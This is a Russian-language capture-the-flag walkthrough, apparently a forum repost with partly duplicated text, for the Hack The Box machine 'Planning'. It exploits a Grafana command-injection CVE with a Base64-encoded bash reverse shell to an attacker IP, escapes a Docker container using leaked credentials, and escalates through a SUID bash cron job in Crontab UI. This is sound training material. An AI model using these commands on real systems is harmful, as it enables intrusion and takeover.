stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как повышать привилегии в Linux через создание задачи. Но прежде проэксплуатируем уязвимость в Grafana, получим RCE в Docker, совершим побег из контейнера и получим учетные данные от Crontab UI.
Наша конечная цель — получение прав суперпользователя на машине Planning с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень задания — легкий.
На этот раз, помимо IP-адреса машины, нам также предоставляют учетные данные пользователя. Однако пока неясно, для какого сервиса.
Для просмотра ссылки Войдиили Зарегистрируйся
Запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войдиили Зарегистрируйся
Сканер нашел два открытых порта:
Главная страница сайта
Содержимое страницы contact.php
На сайте ничего интересного найти не удалось, поэтому приступим к сканированию директорий с помощью feroxbuster.
или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
feroxbuster -u Для просмотра ссылки Войдиили Зарегистрируйся -d 1 -t 128 -w php_files_common_5476.txt
Результат сканирования файлов с помощью feroxbuster
Полезных файлов и каталогов не насканировали, поэтому перейдем к поиску новых поддоменов. Для этого можно использовать Для просмотра ссылки Войдиили Зарегистрируйся. Параметры похожие:
или Зарегистрируйся -H 'Host: FUZZ.planning.htb' -w subdomains-top1million-110000.txt -t 128
Результат сканирования поддоменов
В вывод попадают все варианты из списка, а значит, нужно использовать фильтры, например по коду ответа (параметр -fc).
Для просмотра ссылки Войдиили Зарегистрируйся
Находим еще один поддомен — grafana, а значит, обновляем запись в файле /etc/hosts и смотрим сервис через браузер.
Страница авторизации Grafana
Выданные учетные данные позволяют авторизоваться в Grafana.
Главная страница Grafana
Для просмотра ссылки Войдиили Зарегистрируйся
Узнаём, что у этой версии Grafana есть задокументированная уязвимость — Для просмотра ссылки Войдиили Зарегистрируйся. Экспериментальная функция SQL Expressions в Grafana позволяет выполнять запросы duckdb, содержащие пользовательский ввод. Эти запросы недостаточно очищаются перед передачей в duckdb, что приводит к уязвимости, связанной с внедрением команд. На GitHub уже лежит Для просмотра ссылки Войди или Зарегистрируйся. У нас есть учетные данные администратора, поэтому попробуем выполнить команду id.
Результат выполнения команды
На сайте Для просмотра ссылки Войдиили Зарегистрируйся генерируем реверс‑шелл.
Reverse Shells Generator
Теперь запускаем листенер:
И с помощью эксплоита выполняем реверс‑шелл Bash (он закодирован в Base64). Так получаем сессию от имени root. Но похоже, в контейнере Docker.
Выполнение команды
Сессия пользователя root
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Просматривая вывод, находим переменные окружения, в которых есть учетные данные.
Переменные окружения
С найденными учетными данными логинимся по SSH и забираем первый флаг.
Флаг пользователя
Для локального хоста прослушивается порт 8000, что типично для веб‑серверов.
Прослушиваемые порты
На хосте есть файл базы данных crontab.db, который к тому же активно изменяется.
Найденные базы данных
Последние измененные файлы
Просмотрим содержимое базы данных. В команде задачи Grafana backup находим пароль.
Содержимое базы данных
Проверим найденное веб‑приложение. Для этого нам понадобится прокинуть порт 8000 на свой хост с помощью SSH.
В результате весь трафик, который мы пошлем на локальный порт 8000, будет туннелирован на порт 8000 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Нас встречает Crontab UI, где получается авторизоваться с найденным паролем.
Главная страница Cronjobs
Создаем свою задачу в crontab. Задача будет назначать S-бит файлу командной оболочки /bin/bash. Спустя некоторое время проверяем права на файл bash.
Создание задачи
Права на файл bash
Теперь подробней: когда атрибут suid установлен файлу, обычный пользователь, запускающий этот файл на исполнение, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса.
Флаг рута
Машина захвачена!
Наша конечная цель — получение прав суперпользователя на машине Planning с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.68 planning.htb
На этот раз, помимо IP-адреса машины, нам также предоставляют учетные данные пользователя. Однако пока неясно, для какого сервиса.
Для просмотра ссылки Войди
Запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Для просмотра ссылки Войди
Сканер нашел два открытых порта:
- 22 — служба OpenSSH 9.6p1;
- 80 — веб‑сервер Nginx 1.24.0.

Точка входа
На странице contact.php находим адрес электронной почты, а значит, домен planning.htb валидный.
На сайте ничего интересного найти не удалось, поэтому приступим к сканированию директорий с помощью feroxbuster.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиПри запуске указываем следующие параметры:
- -u — URL;
- -d — глубина сканирования;
- -t — количество потоков;
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся).
feroxbuster -u Для просмотра ссылки Войди

Полезных файлов и каталогов не насканировали, поэтому перейдем к поиску новых поддоменов. Для этого можно использовать Для просмотра ссылки Войди
- -u — URL;
- -H — HTTP-заголовок;
- -w — словарь;
- -t — количество потоков.

В вывод попадают все варианты из списка, а значит, нужно использовать фильтры, например по коду ответа (параметр -fc).
ffuf -u [URL]http://planning.htb[/URL] -H 'Host: FUZZ.planning.htb' -w subdomains-top1million-110000.txt -t 128 -fc 301
Для просмотра ссылки Войди
Находим еще один поддомен — grafana, а значит, обновляем запись в файле /etc/hosts и смотрим сервис через браузер.
10.10.11.68 planning.htb grafana.planning.htb

Выданные учетные данные позволяют авторизоваться в Grafana.

Точка опоры
Первым делом стоит проверить, есть ли для обнаруженной версии сервиса Grafana готовые эксплоиты. Идем искать в Google.Для просмотра ссылки Войди
Узнаём, что у этой версии Grafana есть задокументированная уязвимость — Для просмотра ссылки Войди
python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c id [URL]http://grafana.planning.htb[/URL]

На сайте Для просмотра ссылки Войди

Теперь запускаем листенер:
pwncat-cs -lp 4321
И с помощью эксплоита выполняем реверс‑шелл Bash (он закодирован в Base64). Так получаем сессию от имени root. Но похоже, в контейнере Docker.
python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTEvNDMyMSAwPiYx | base64 -d | bash' [URL]http://grafana.planning.htb[/URL]


Продвижение
Теперь нам необходимо собрать информацию, которая может помочь в выходе из контейнера. Для поисков подходят скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Просматривая вывод, находим переменные окружения, в которых есть учетные данные.

С найденными учетными данными логинимся по SSH и забираем первый флаг.

Локальное повышение привилегий
Нам удалось выйти в основную систему, так что нужно снова провести разведку. Загружаем LinPeas, снова сканируем и смотрим, что найдется.Для локального хоста прослушивается порт 8000, что типично для веб‑серверов.

На хосте есть файл базы данных crontab.db, который к тому же активно изменяется.


Просмотрим содержимое базы данных. В команде задачи Grafana backup находим пароль.

Проверим найденное веб‑приложение. Для этого нам понадобится прокинуть порт 8000 на свой хост с помощью SSH.
ssh -L 8000:127.0.0.1:8000 [EMAIL]enzo@10.10.11.68[/EMAIL]
В результате весь трафик, который мы пошлем на локальный порт 8000, будет туннелирован на порт 8000 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Нас встречает Crontab UI, где получается авторизоваться с найденным паролем.

Создаем свою задачу в crontab. Задача будет назначать S-бит файлу командной оболочки /bin/bash. Спустя некоторое время проверяем права на файл bash.


Теперь подробней: когда атрибут suid установлен файлу, обычный пользователь, запускающий этот файл на исполнение, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса.
/bin/bash -p

Машина захвачена!